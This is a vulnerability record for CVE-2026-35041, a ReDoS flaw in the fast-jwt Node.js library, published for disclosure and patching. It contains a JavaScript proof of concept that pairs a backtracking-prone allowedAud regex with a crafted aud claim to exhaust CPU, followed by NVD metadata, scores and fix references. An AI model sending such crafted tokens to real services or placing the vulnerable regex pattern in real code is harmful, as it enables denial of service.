CVE-2026-35041

const { createDecoder, createVerifier } = require('fast-jwt'); // Example of a vulnerable configuration // Using a regex that is susceptible to catastrophic backtracking const verifier = createVerifier({ key: 'secret', allowedAud: /^(a+)+$/, // Vulnerable regex pattern example checkTyp: 'JWT' }); // Attacker-controlled token payload // The 'aud' claim is crafted to trigger backtracking const payload = { aud: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab', iss: 'test' }; const { createSigner } = require('fast-jwt'); const signer = createSigner({ key: 'secret' }); const token = signer(payload); console.log('Attempting to verify malicious token...'); try { // This verification will cause high CPU usage (ReDoS) verifier(token); console.log('Verified'); } catch (e) { console.error('Verification failed or timed out'); }

{"cve": {"id": "CVE-2026-35041", "sourceIdentifier": "[email protected]", "published": "2026-04-09T16:16:27.383", "lastModified": "2026-04-14T20:15:13.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "fast-jwt provides fast JSON Web Token (JWT) implementation. From 5.0.0 to 6.2.0, a denial-of-service condition exists in fast-jwt when the allowedAud verification option is configured using a regular expression. Because the aud claim is attacker-controlled and the library evaluates it against the supplied RegExp, a crafted JWT can trigger catastrophic backtracking in the JavaScript regex engine, resulting in significant CPU consumption during verification. This vulnerability is fixed in 6.2.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nearform:fast-jwt:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "6.2.1", "matchCriteriaId": "0E23134A-F7C0-40FB-AB4C-5B056C011E0B"}]}]}], "references": [{"url": "https://github.com/nearform/fast-jwt/commit/b0be0ca161593836a153d5180ca5358ad9b5de94", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nearform/fast-jwt/pull/595", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nearform/fast-jwt/releases/tag/v6.2.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-cjw9-ghj4-fwxf", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-cjw9-ghj4-fwxf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}